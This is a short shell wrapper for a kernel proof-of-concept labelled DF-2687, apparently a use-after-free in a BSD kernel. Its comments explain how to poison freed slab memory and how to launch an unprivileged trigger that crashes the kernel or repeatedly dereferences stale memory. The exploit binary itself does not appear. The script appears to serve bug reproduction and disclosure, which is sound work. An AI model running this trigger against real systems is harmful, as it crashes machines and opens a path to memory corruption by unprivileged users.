#!/bin/sh
# DF-2687 PoC run (inside the guest)
# 1) optional deterministic poison of freed slab chunks (root; INVARIANTS kernels):
#      sysctl debug.use_weird_array=1
# 2) unprivileged trigger:
#      /tmp/df2687 1      -> Fatal trap 9 in lwkt_gettoken on stock kernel
#      /tmp/df2687 40     -> silent stale-content deref rounds (no flag needed)
#      /tmp/df2687 hold 20-> hold orphan for `sysctl kern.ttys` forensics
exec /tmp/df2687 "${1:-1}"